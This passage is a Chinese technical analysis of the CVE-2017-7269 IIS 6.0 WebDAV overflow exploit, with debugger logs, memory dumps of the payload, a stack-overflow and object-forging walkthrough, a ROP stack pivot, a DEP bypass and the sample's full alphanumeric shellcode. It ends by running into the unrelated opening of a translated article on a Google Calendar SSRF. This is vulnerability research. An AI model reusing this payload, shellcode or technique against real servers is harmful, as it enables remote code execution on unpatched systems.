来进行转换操作。事实上，`ScConvertToWide` 会调用 `MultiByteToWideChar` 对字符串进行转换。
MultiByteToWideChar(
CP_UTF8,
0,
pszHeader,
strlen(pszHeader) + 1,
lpWideCharStr,
strlen(pszHeader) + 1);
由于存在编码转换操作，Exploit 中的 Payload 需要先进行编码，这样才能保证解码后得到正常的 Payload。字符串转换的调试日志如下所示：
0:007> p
eax=00000000 ebx=00000655 ecx=077f59a9 edx=077f5900 esi=0000fde9 edi=77e62fd6
eip=6712721f esp=03fef5b0 ebp=03fef71c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScConvertToWide+0x150:
6712721f ffd7 call edi {kernel32!MultiByteToWideChar (77e62fd6)}
$$ 调用 MultiByteToWideChar 时的参数
0:007> dds esp L6
03fef5b0 0000fde9 $$ CP_UTF8
03fef5b4 00000000 $$ 0
03fef5b8 077f59a8 $$ pszHeader
03fef5bc 00000655 $$ strlen(pszHeader) + 1
03fef5c0 077f3350 $$ lpWideCharStr
03fef5c4 00000655 $$ strlen(pszHeader) + 1
$$ 转换前的字符串
0:007> db 077f59a8
077f59a8 3c 68 74 74 70 3a 2f 2f-6c 6f 63 61 6c 68 6f 73 <http://localhos
077f59b8 74 2f 61 61 61 61 61 61-61 e6 bd a8 e7 a1 a3 e7 t/aaaaaaa.......
077f59c8 9d a1 e7 84 b3 e6 a4 b6-e4 9d b2 e7 a8 b9 e4 ad ................
077f59d8 b7 e4 bd b0 e7 95 93 e7-a9 8f e4 a1 a8 e5 99 a3 ................
077f59e8 e6 b5 94 e6 a1 85 e3 a5-93 e5 81 ac e5 95 a7 e6 ................
077f59f8 9d a3 e3 8d a4 e4 98 b0-e7 a1 85 e6 a5 92 e5 90 ................
077f5a08 b1 e4 b1 98 e6 a9 91 e7-89 81 e4 88 b1 e7 80 b5 ................
077f5a18 e5 a1 90 e3 99 a4 e6 b1-87 e3 94 b9 e5 91 aa e5 ................
0:007> p
eax=000003d1 ebx=00000655 ecx=0000b643 edx=00000000 esi=0000fde9 edi=77e62fd6
eip=67127221 esp=03fef5c8 ebp=03fef71c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!ScConvertToWide+0x152:
67127221 85c0 test eax,eax
$$ 转换后的字符串
0:007> db 077f3350
077f3350 3c 00 68 00 74 00 74 00-70 00 3a 00 2f 00 2f 00 <.h.t.t.p.:././.
077f3360 6c 00 6f 00 63 00 61 00-6c 00 68 00 6f 00 73 00 l.o.c.a.l.h.o.s.
077f3370 74 00 2f 00 61 00 61 00-61 00 61 00 61 00 61 00 t./.a.a.a.a.a.a.
077f3380 61 00 68 6f 63 78 61 77-33 71 36 69 72 47 39 7a a.hocxaw3q6irG9z
077f3390 77 4b 70 4f 53 75 4f 7a-68 48 63 56 54 6d 45 68 wKpOSuOzhHcVTmEh
077f33a0 53 39 6c 50 67 55 63 67-64 33 30 46 45 78 52 69 S9lPgUcgd30FExRi
077f33b0 31 54 58 4c 51 6a 41 72-31 42 35 70 50 58 64 36 1TXLQjAr1B5pPXd6
077f33c0 47 6c 39 35 6a 54 34 50-43 54 52 77 61 50 32 32 Gl95jT4PCTRwaP22
### 3.2 栈溢出
根据前面的分析，可以知道当字符串超长时是可以导致堆溢出的，但问题是堆块的基地址并不是固定的。实际上，当 `CStackBuffer`
使用栈作为存储空间时，也可以触发栈溢出，原理和堆溢出是一样的。
当然，这里不是通过栈溢出来执行代码，因为栈上有 `cookie`。
.text:671255F5 mov large fs:0, ecx
.text:671255FC mov ecx, [ebp+var_10]
.text:671255FF pop ebx
.text:67125600 call @__security_check_cookie@4
.text:67125605 leave
.text:67125606 retn 8
.text:67125606 ?HrCheckIfHeader@@YGJPAVCMethUtil@@PBG@Z endp
在函数 `HrCheckIfHeader` 中存在两个 `CStackBuffer` 实例：
char c_stack_buffer_1; // [sp+44h] [bp-430h]@1
unsigned int v29; // [sp+148h] [bp-32Ch]@9
wchar_t *stack_buffer1; // [sp+14Ch] [bp-328h]@9
char c_stack_buffer_2; // [sp+150h] [bp-324h]@7
unsigned __int16 *stack_buffer2; // [sp+258h] [bp-21Ch]@8
基于前面对 `CStackBuffer` 内存布局的分析，可以知道这里栈空间的分布为：
┌─────────────────────────┐
│ 2.heap_buffer│ ebp-21C
├─────────────────────────┤
│ 2.fake_heap_size│ ebp-220
├─────────────────────────┤
│CStackBuffer2.buffer[260]│ ebp-324
├─────────────────────────┤
│ 1.heap_buffer│ ebp-328
├─────────────────────────┤
│ 1.fake_heap_size│ ebp-32C
├─────────────────────────┤
│CStackBuffer1.buffer[260]│ ebp-430
└─────────────────────────┘
下面要重点分析的代码片段为：
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length); // (1)
if (res == 1)
{
if (buffer1.resize(length)) // (2)
{
res = pMethUtil->ScStoragePathFromUrl( // (3)
buffer2.get(), buffer1.get(), &length);
}
}
**(1)** `HrCheckIfHeader` 第一次调用 `ScStoragePathFromUrl` 时传递的参数分析如下（函数返回值为
`1`，长度设置为 `0xaa`）：
0:006> dds esp L3
03faf7b4 077d8eb0 $$ http://localhost/aaaaaaa....
03faf7b8 03faf804 $$ CStackBuffer1.buffer
03faf7bc 03faf800 $$ 00000082
0:006> dd 03faf800 L1
03faf800
0:006> db 077d8eb0
077d8eb0 68 00 74 00 74 00 70 00-3a 00 2f 00 2f 00 6c 00 h.t.t.p.:././.l.
077d8ec0 6f 00 63 00 61 00 6c 00-68 00 6f 00 73 00 74 00 o.c.a.l.h.o.s.t.
077d8ed0 2f 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00 /.a.a.a.a.a.a.a.
077d8ee0 68 6f 63 78 61 77 33 71-36 69 72 47 39 7a 77 4b hocxaw3q6irG9zwK
077d8ef0 70 4f 53 75 4f 7a 68 48-63 56 54 6d 45 68 53 39 pOSuOzhHcVTmEhS9
077d8f00 6c 50 67 55 63 67 64 33-30 46 45 78 52 69 31 54 lPgUcgd30FExRi1T
077d8f10 58 4c 51 6a 41 72 31 42-35 70 50 58 64 36 47 6c XLQjAr1B5pPXd6Gl
077d8f20 39 35 6a 54 34 50 43 54-52 77 61 50 32 32 4b 6d 95jT4PCTRwaP22Km
077d8f30 34 6c 47 32 41 62 4d 37-61 51 62 58 73 47 50 52 4lG2AbM7aQbXsGPR
077d8f40 70 36 44 75 6a 68 74 33-4a 4e 6b 78 76 49 73 4e p6Dujht3JNkxvIsN
077d8f50 6a 4c 7a 57 71 6f 4a 58-30 32 6e 37 49 4b 4d 52 jLzWqoJX02n7IKMR
077d8f60 63 48 4c 6f 56 75 75 75-6f 66 68 76 4d 44 70 50 cHLoVuuuofhvMDpP
077d8f70 36 7a 4b 62 57 65 50 75-72 6a 6b 7a 62 77 58 76 6zKbWePurjkzbwXv
077d8f80 48 62 31 65 54 30 79 6c-4a 50 62 54 33 50 77 35 Hb1eT0ylJPbT3Pw5
077d8f90 77 6a 44 41 34 33 76 64-46 4d 54 56 6c 47 43 65 wjDA43vdFMTVlGCe
077d8fa0 32 76 78 72 69 57 38 43-72 62 30 5a 38 59 48 54 2vxriW8Crb0Z8YHT
077d8fb0 02 02 02 02 c0 12 03 68-44 6c 56 52 37 4b 6d 6c .......hDlVR7Kml
077d8fc0 58 4f 5a 58 50 79 6a 49-4f 58 52 4a 50 41 4d 66 XOZXPyjIOXRJPAMf
077d8fd0 c0 13 03 68 34 48 31 65-43 6f 66 6e 41 74 6c 43 ...h4H1eCofnAtlC
077d8fe0 c0 13 03 68 43 53 41 6a-52 70 30 33 66 58 4c 42 ...hCSAjRp03fXLB
077d8ff0 4b 70 46 63 73 51 41 79-50 7a 6c 4a 3e 00 00 00 KpFcsQAyPzlJ>...
077d9000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
**(2)** 因为 `ScStoragePathFromUrl` 返回 `0xaa`，所以 `buffer1.resize(0xaa)`
并不会在堆上分配空间，而是直接使用栈上的 `buffer`。
**(3)** 第二次调用 `ScStoragePathFromUrl` 时会导致栈溢出，实际结果是
`CStackBuffer1.fake_heap_size` 被改写为 `0x02020202`、`CStackBuffer1.heap_buffer`
被改写为 `0x680312c0`。
0:006> dds esp L3
03faf7b4 077d8eb0 $$ http://localhost/aaaaaaa....
03faf7b8 03faf804 $$ CStackBuffer1.buffer
03faf7bc 03faf800 $$ 00000412 = ((0x104 * 4) | (0x82 & 3)) | 2
$$ 留意最后面 2 个 DWORD 的值
0:006> db ebp-430 L10C
03faf804 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03faf814 c0 59 55 03 00 00 00 00-00 10 08 00 60 f8 fa 03 .YU.........`...
03faf824 fc f7 fa 03 f8 64 02 07-94 f8 fa 03 70 82 82 7c .....d......p..|
03faf834 a0 6e 87 7c 00 00 00 00-9c 6e 87 7c 00 00 00 00 .n.|.....n.|....
03faf844 01 00 00 00 16 00 00 00-23 9f 87 7c 00 00 00 00 ........#..|....
03faf854 c4 af 7b 04 02 00 00 01-00 00 00 00 04 5d 88 8a ..{..........]..
03faf864 6c 00 00 00 8c 1e 8f 60-82 1e 8f 60 02 00 00 00 l......`...`....
03faf874 9a 1e 8f 60 34 fb fa 03-33 00 00 00 00 00 00 00 ...`4...3.......
03faf884 8c 1e 8f 60 52 23 8f 60-22 00 00 00 00 00 00 00 ...`R#.`".......
03faf894 00 00 00 00 00 00 00 00-01 00 00 00 0c 00 00 00 ................
03faf8a4 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
03faf8b4 f6 67 ca 77 00 00 00 00-00 00 00 00 00 00 00 00 .g.w............
03faf8c4 00 00 00 00 00 00 00 00-20 f9 fa 03 4a b0 bc 77 ........ ...J..w
03faf8d4 85 05 00 00 4f f9 fa 03-5b 20 11 67 5c b0 bc 77 ....O...[ .g\..w
03faf8e4 5b 20 11 67 b0 72 bd 77-4f f9 fa 03 5b 20 11 67 [ .g.r.wO...[ .g
03faf8f4 13 00 00 00 58 00 00 00-00 00 00 00 e8 64 02 07 ....X........d..
03faf904 c0 17 bf 77 12 04 00 00-04 f8 fa 03 ...w........
^^^^^^^^^^^ ~~~~~~~~~~~
0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=03faf804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=03faf7c0 ebp=03fafc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0 mov esi,eax
$$ 留意最后面 2 个 DWORD 的值
0:006> db ebp-430 L10C
03faf804 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p.
03faf814 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o.
03faf824 6f 00 74 00 5c 00 61 00-61 00 61 00 61 00 61 00 o.t.\.a.a.a.a.a.
03faf834 61 00 61 00 68 6f 63 78-61 77 33 71 36 69 72 47 a.a.hocxaw3q6irG
03faf844 39 7a 77 4b 70 4f 53 75-4f 7a 68 48 63 56 54 6d 9zwKpOSuOzhHcVTm
03faf854 45 68 53 39 6c 50 67 55-63 67 64 33 30 46 45 78 EhS9lPgUcgd30FEx
03faf864 52 69 31 54 58 4c 51 6a-41 72 31 42 35 70 50 58 Ri1TXLQjAr1B5pPX
03faf874 64 36 47 6c 39 35 6a 54-34 50 43 54 52 77 61 50 d6Gl95jT4PCTRwaP
03faf884 32 32 4b 6d 34 6c 47 32-41 62 4d 37 61 51 62 58 22Km4lG2AbM7aQbX
03faf894 73 47 50 52 70 36 44 75-6a 68 74 33 4a 4e 6b 78 sGPRp6Dujht3JNkx
03faf8a4 76 49 73 4e 6a 4c 7a 57-71 6f 4a 58 30 32 6e 37 vIsNjLzWqoJX02n7
03faf8b4 49 4b 4d 52 63 48 4c 6f-56 75 75 75 6f 66 68 76 IKMRcHLoVuuuofhv
03faf8c4 4d 44 70 50 36 7a 4b 62-57 65 50 75 72 6a 6b 7a MDpP6zKbWePurjkz
03faf8d4 62 77 58 76 48 62 31 65-54 30 79 6c 4a 50 62 54 bwXvHb1eT0ylJPbT
03faf8e4 33 50 77 35 77 6a 44 41-34 33 76 64 46 4d 54 56 3Pw5wjDA43vdFMTV
03faf8f4 6c 47 43 65 32 76 78 72-69 57 38 43 72 62 30 5a lGCe2vxriW8Crb0Z
03faf904 38 59 48 54 02 02 02 02-c0 12 03 68 8YHT.......h
^^^^^^^^^^^ ~~~~~~~~~~~
### 3.3 填充数据
通过`!address` 命令可知地址 `0x680312c0` 位于 `rsaenh` 模块中，具备 `PAGE_READWRITE` 属性。
0:006> !address 680312c0
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 68000000
Base Address: 68030000
End Address: 68032000
Region Size: 00002000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
More info: lmv m rsaenh
More info: !lmi rsaenh
More info: ln 0x680312c0
0:006> u 680312c0 L1
rsaenh!g_pfnFree+0x4:
680312c0 0000 add byte ptr [eax],al
在解析 `http://localhost/bbbbbbb......` 时，数据将被直接填充到地址 `0x680312c0`。此时，由于
`CStackBuffer1` 的长度已经 **_足够大_** ，`ScStoragePathFromUrl` 只会被调用一次。
$$ ScStoragePathFromUrl 参数
0:006> dds esp L3
03faf7b4 077dc9e0
03faf7b8 680312c0 rsaenh!g_pfnFree+0x4
03faf7bc 03faf800
0:006> dd 03faf800 L1
03faf800 00404040
0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=680312c0 esi=00000000 edi=77bd8ef2
eip=6712544a esp=03faf7c0 ebp=03fafc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x124:
6712544a 8bf0 mov esi,eax
$$ 填充数据到 0x680312c0
0:006> db 680312c0
680312c0 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p.
680312d0 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o.
680312e0 6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00 o.t.\.b.b.b.b.b.
680312f0 62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48 b.b.HyuaCOgookEH
68031300 46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56 F6ug3Dq8eWbZ5TaV
68031310 52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43 RiSjWQN8HYUcqIdC
68031320 72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50 rdh4XGyqk3UkHmOP
68031330 46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34 Fzq4ToCtVYooAsW4
0:006> db
68031340 68 61 72 7a 45 37 49 4d-4e 57 48 54 38 4c 7a 36 harzE7IMNWHT8Lz6
68031350 72 35 66 62 43 6e 6d 48-48 35 77 61 5a 4d 74 61 r5fbCnmHH5waZMta
68031360 33 41 65 43 72 52 69 6d-71 36 64 4e 39 6e 53 63 3AeCrRimq6dN9nSc
68031370 64 6b 46 51 30 4f 6f 78-53 72 50 67 53 45 63 7a dkFQ0OoxSrPgSEcz
68031380 39 71 53 4f 56 44 36 6f-79 73 77 68 56 7a 4a 61 9qSOVD6oyswhVzJa
68031390 45 39 39 36 39 6c 31 45-72 34 65 53 4a 58 4e 44 E9969l1Er4eSJXND
680313a0 44 7a 35 6c 56 5a 41 62-72 6e 31 66 59 59 33 54 Dz5lVZAbrn1fYY3T
680313b0 42 31 65 58 41 59 50 71-36 30 77 57 57 44 61 53 B1eXAYPq60wWWDaS
0:006> db
680313c0 c0 13 03 68 4f 6e 00 68-4f 6e 00 68 47 42 6a 76 ...hOn.hOn.hGBjv
680313d0 c0 13 03 68 57 42 74 4f-47 59 34 52 66 4b 42 4b ...hWBtOGY4RfKBK
680313e0 64 74 6f 78 82 60 01 68-35 51 7a 72 7a 74 47 4d dtox.`.h5QzrztGM
680313f0 59 44 57 57 13 b1 00 68-76 31 6f 6e e3 24 01 68 YDWW...hv1on.$.h
68031400 60 14 03 68 00 03 fe 7f-ff ff ff ff c0 13 03 68 `..h...........h
68031410 6e 04 03 68 6e 71 70 74-34 14 03 68 e7 29 01 68 n..hnqpt4..h.).h
68031420 91 93 00 68 31 39 6e 66-55 49 52 30 6b 54 6b 76 ...h19nfUIR0kTkv
68031430 4a 72 61 79 1c 14 03 68-05 6e 00 68 32 77 68 79 Jray...h.n.h2why
### 3.4 控制 EIP
在函数 `HrCheckIfHeader` 返回后，后面会跳转到 `CParseLockTokenHeader::HrGetLockIdForPath`
中去执行，而后者也会多次调用 `CMethUtil::ScStoragePathFromUrl` 这个函数。同样，解析 URL
第一部分（`http://localhost/aaaaaaa....`）时完成栈溢出，此时会覆盖到一个引用 `CMethUtil` 对象的局部变量；在解析
URL 第二部分（`http://localhost/bbbbbbb....`）时，因为 `CMethUtil` 已经伪造好，其成员 `IEcb`
实例同样完成伪造，最后在 `ScStripAndCheckHttpPrefix` 中实现 EIP 的控制。
CPutRequest::Execute
├──HrCheckStateHeaders
│ └──HrCheckIfHeader
│ ├──CMethUtil::ScStoragePathFromUrl
│ └──CMethUtil::ScStoragePathFromUrl
│
└──FGetLockHandle
└──CParseLockTokenHeader::HrGetLockIdForPath
├──CMethUtil::ScStoragePathFromUrl
└──CMethUtil::ScStoragePathFromUrl
**(1) FGetLockHandle 分析** 函数 `FGetLockHandle` 里面构造了一个 `CParseLockTokenHeader`
对象， **存储于栈上的一个局部变量引用了这个对象** （这一点很重要），调用该对象的成员函数 `HrGetLockIdForPath` 进入下一阶段。
int __stdcall FGetLockHandle(
struct CMethUtil *a1, wchar_t *Str,
unsigned __int32 a3, const unsigned __int16 *a4,
struct auto_ref_handle *a5)
{
signed int v5; // eax@1
int result; // eax@2
CParseLockTokenHeader *v7; // [sp+0h] [bp-54h]@1
union _LARGE_INTEGER v8; // [sp+40h] [bp-14h]@1
int v9; // [sp+50h] [bp-4h]@1
v7 = CParseLockTokenHeader(a1, a4);
v9 = 0;
v7->SetPaths(Str, 0);
v5 = v7->HrGetLockIdForPath(Str, a3, &v8, 0);
v9 = -1;
if ( v5 >= 0 )
{
result = FGetLockHandleFromId(a1, v8, Str, a3, a5);
}
else
{
result = 0;
}
return result;
}
**(2) HrGetLockIdForPath 分析** `HrGetLockIdForPath` 与 `HrCheckIfHeader`
有点类似，同样存在两个 `CStackBuffer` 变量。不同的是，`v22.HighPart` 指向父级函数 `HrGetLockIdForPath`
中引用 `CParseLockTokenHeader` 对象的局部变量，而且这里也会将其转换为 `CMethUtil` 类型使用。
在解析 URL 第一部分（`http://localhost/aaaaaaa....`）时，通过栈溢出可以覆盖引用
`CParseLockTokenHeader` 对象的局部变量，栈布局如下所示。
┌─────────────────────────┐
│ v7 (FGetLockHandle) │ CParseLockTokenHeader <────┐
├─────────────────────────┤ ↑o │
│ ...... │ │v │
├─────────────────────────┤ │e │
│ 2.heap_buffer│ ebp-14 │r │
├─────────────────────────┤ │f │
│ 2.fake_heap_size│ ebp-18 │l │
├─────────────────────────┤ │o │
│CStackBuffer2.buffer[260]│ ebp-11C │w │
├─────────────────────────┤ <-------- overwrite data │
│ 1.heap_buffer│ ebp-120 -> heap (url part1)│
├─────────────────────────┤ │
│ 1.fake_heap_size│ ebp-124 │
├─────────────────────────┤ │
│CStackBuffer1.buffer[260]│ ebp-228 │
├─────────────────────────┤ │
│ ...... │ │
├────────────┬────────────┤ │
│ v22.LowPart│v22.HighPart│ ebp-240 (LARGE_INTEGER) ──┘
└────────────┴────────────┘
栈上的数据分布如下所示：
0:006> dds ebp-18
03fafbb8 00000412 --------> CStackBuffer2.fake_heap_size
03fafbbc 03fafab4 --------> CStackBuffer2.buffer[260]
03fafbc0 00000168
03fafbc4 03fafc30
03fafbc8 67140bdd httpext!swscanf+0x137d --> ret addr
03fafbcc 00000002
03fafbd0 03fafc3c
03fafbd4 6711aba9 httpext!FGetLockHandle+0x40
03fafbd8 07874c2e
03fafbdc 80000000
03fafbe0 03fafc28
03fafbe4 00000000
03fafbe8 07872fc0 --------> CParseLockTokenHeader xx
03fafbec 0788c858
03fafbf0 0788c858
$$ CMethUtil
0:006> r ecx
ecx=07872fc0
$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990 5a3211a0 03fafbe8
$$ CStackBuffer2.buffer[260]
0:006> ?ebp-11C
Evaluate expression: 66779828 = 03fafab4
分析栈的布局可以知道，在复制 `260+12*4=308` 字节数据后，后续的 `4` 字节数据将覆盖引用 `CParseLockTokenHeader`
对象的局部变量。需要注意的是，这里所说的 `308` 字节，是 URL 转变成物理路径后的前 `308` 字节。执行完
`CMethUtil::ScStoragePathFromUrl` 之后，`680313c0` 被填充到父级函数中引用
`CParseLockTokenHeader` 对象所在的局部变量。
$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990 5a3211a0 03fafbe8
0:006> dd 03fafbe8 L1
03fafbe8 680313c0
**(3) ScStripAndCheckHttpPrefix 分析** 在解析 URL
第二部分（`http://localhost/bbbbbbb....`）时，由于引用 `CParseLockTokenHeader`
对象的局部变量的值已经被修改，所以会使用伪造的对象，最终在函数 `ScStripAndCheckHttpPrefix` 中完成控制权的转移。
CPutRequest::Execute
└──FGetLockHandle
└──CParseLockTokenHeader::HrGetLockIdForPath ecx = 0x680313C0
├──CMethUtil::ScStoragePathFromUrl ecx = 0x680313C0
│ └──ScStoragePathFromUrl ecx = [ecx+0x10]=0x680313C0
│ └──ScStripAndCheckHttpPrefix call [[ecx]+0x24]
└──CMethUtil::ScStoragePathFromUrl
接管控制权后，将开始执行 ROP 代码。
0:006> dd 680313C0 L1
680313c0 680313c0
0:006> dd 680313C0+10 L1
680313d0 680313c0
0:006> dd 680313C0+24 L1
680313e4 68016082
0:006> u 68016082
rsaenh!_alloca_probe+0x42:
68016082 8be1 mov esp,ecx
68016084 8b08 mov ecx,dword ptr [eax]
68016086 8b4004 mov eax,dword ptr [eax+4]
68016089 50 push eax
6801608a c3 ret
6801608b cc int 3
6801608c cc int 3
6801608d cc int 3
### 3.5 绕过 DEP
在执行 ROP 代码片段时，会跳转到 `KiFastSystemCall` 去执行，这里将 **EAX** 寄存器的值设置为 `0x8F`，也就是
`NtProtectVirtualMemory` 的服务号，函数的参数通过栈进行传递。
0:006> dds esp
68031400 68031460 --> return address
68031404 7ffe0300 --> SharedUserData!SystemCallStub
68031408 ffffffff --> ProcessHandle, CURRENT_PROCESS
6803140c 680313c0 --> BaseAddress
68031410 6803046e --> RegionSize, 0x48
68031414 00000040 --> NewProtectWin32, PAGE_EXECUTE_READWRITE
68031418 68031434 --> OldProtect
TK 在 CanSecWest 2013 的演讲《 **DEP/ASLR bypass without ROP/JIT**
》[[4](https://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf)] 中提到：
> SharedUserData is always fixed in 0x7ffe0000 from Windows NT 4 to Windows 8
> 0x7ffe0300 is always point to KiFastSystemCall Only work on x86 Windows
这里就是用了 `0x7ffe0300` 这个地址来定位 `KiFastSystemCall`（关于 `KiFastSystemCall`
的介绍，可以参考文档 《 **KiFastCallEntry() 机制分析** 》
[[5](http://www.mouseos.com/windows/kernel/KiFastCallEntry.html)]）。
### 3.6 Shellcode
样本中的 Shellcode 如下：
VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAI
AXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8
Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LM
X1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6
P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XK
Q3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJ
Z2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3UL
Y7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA
前面分析到函数 `CRequest::LpwszGetHeader` 会把其转成 UNICODE 字符串，所以在内存中长这个样子：
0:006> db 68031460
68031460 55 00 56 00 59 00 41 00-34 00 34 00 34 00 34 00 U.V.Y.A.4.4.4.4.
68031470 34 00 34 00 34 00 34 00-34 00 34 00 51 00 41 00 4.4.4.4.4.4.Q.A.
68031480 54 00 41 00 58 00 41 00-5a 00 41 00 50 00 41 00 T.A.X.A.Z.A.P.A.
68031490 33 00 51 00 41 00 44 00-41 00 5a 00 41 00 42 00 3.Q.A.D.A.Z.A.B.
680314a0 41 00 52 00 41 00 4c 00-41 00 59 00 41 00 49 00 A.R.A.L.A.Y.A.I.
680314b0 41 00 51 00 41 00 49 00-41 00 51 00 41 00 50 00 A.Q.A.I.A.Q.A.P.
680314c0 41 00 35 00 41 00 41 00-41 00 50 00 41 00 5a 00 A.5.A.A.A.P.A.Z.
680314d0 31 00 41 00 49 00 31 00-41 00 49 00 41 00 49 00 1.A.I.1.A.I.A.I.
这是所谓的 **Alphanumeric Shellcode** [[6](https://github.com/SkyLined/alpha3)]，可以以
ASCII 或者 UNICODE 字符串形式呈现 Shellcode。
### 3.7 The Last Question
最后一个问题是，在 Exploit 的两个 URL 之间存在 `(Not <locktoken:write1>)`
这样一个字符串，这个字符串的作用是什么呢？如果删掉这个字符串，Exploit 就失效了，因为 `HrCheckIfHeader` 中解析 URL
的流程中断了，而解析流程得以继续的关键是 `while` 循环中嵌套的 `for` 循环对 `IFITER::PszNextToken(2)`
的调用。需要注意的是，这里传递的参数值是 `2`，而分析 `IFITER::PszNextToken()`
的反汇编代码，可以知道这个字符串只要满足一定的形式就可以了，如 `(nOt <hahahahah+asdfgh>)` 或者 `(nOt
[hahahahah+asdfgh])` 都是可以的。
int __thiscall IFITER::PszNextToken(int this, signed int a2)
{
//......
if ( !_wcsnicmp(L"not", (const wchar_t *)v4, 3u) )
{
*(_DWORD *)(v2 + 4) += 6;
*(_DWORD *)(v2 + 28) = 1; // ----> 设置值
while ( **(_WORD **)(v2 + 4) && iswspace(**(_WORD **)(v2 + 4)) )
*(_DWORD *)(v2 + 4) += 2;
if ( !**(_WORD **)(v2 + 4) )
return 0;
}
v17 = **(_WORD **)(v2 + 4);
if ( v17 == '<' )
{
LABEL_64:
v23 = '>';
goto LABEL_65;
}
if ( v17 != '[' )
return 0;
v23 = ']';
LABEL_65:
v20 = *(_DWORD *)(v2 + 4);
v21 = wcschr((const wchar_t *)(v20 + 2), v23);
*(_DWORD *)(v2 + 4) = v21;
if ( !v21 )
return 0;
*(_DWORD *)(v2 + 4) = v21 + 1;
v22 = v2 + 8;
StringBuffer<char>::AppendAt(0,
2 * ((signed int)((char *)v21 - v20) >> 1) + 2, v20);
StringBuffer<char>::AppendAt(*(_DWORD *)(v22 + 8),
2, &gc_wszEmpty);
return *(_DWORD *)v22;
}
不过 `not` 字符串是不能替换的，因为这里会影响程序的执行流程。从上面的代码可以看出，存在 `not` 字符串时会将对象偏移 `28 (0x1C)`
处的值设置为 `1`，这个值会决定父级函数中的一个跳转（`goto LABEL_27`）是否执行。
// v22 -> ebp-44C
// ifilter -> ebp-468
// 0x468 + 0x1C = 0x44C
if ( !FGetLastModTime(0, v8, &v23) || !FETagFromFiletime(
&v23, &String, *((const struct IEcb **)a1 + 4)) )
{
LABEL_26:
if ( v22 ) // ==1
goto LABEL_27;
goto LABEL_30;
}
## 4\. 其他
要编写一个真实环境中通用的 Exploit，还需要考虑许多其他因素，比如 IIS 设置的物理路径等，文章
[[7](https://xianzhi.aliyun.com/forum/read/1458.html)] 列举了一些注意事项。
此外，文章 [[8](https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/)] 提到了一种基于
HTTP 回传信息的方法。
当然，关于编写通用 Exploit 所需要注意的细节，也可以参考 NSA 的 Explodingcan 的参数设置。
# 5\. References
**[1]** https://github.com/edwardz246003/IIS_exploit
**[2]** https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269
**[3]** https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html
**[4]** https://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf
**[5]** http://www.mouseos.com/windows/kernel/KiFastCallEntry.html
**[6]** https://github.com/SkyLined/alpha3
**[7]** https://xianzhi.aliyun.com/forum/read/1458.html
**[8]** https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/
* * * | 社区文章 |
本文是翻译文章，原文链接为：<https://www.komodosec.com/post/an-accidental-ssrf-honeypot-in-google-calendar>
这是一个我和Google工程师都误以为是Google日历中的SSRF漏洞的故事，最后实际上是因为一些缓存机制的缘故。虽然结果不太好，但是我和Google安全团队的交流很好。
## 从URL导入日历
Google日历有很多不错的功能，其中有一个正如它名字一样，可以通过URL添加一个远程的日历。
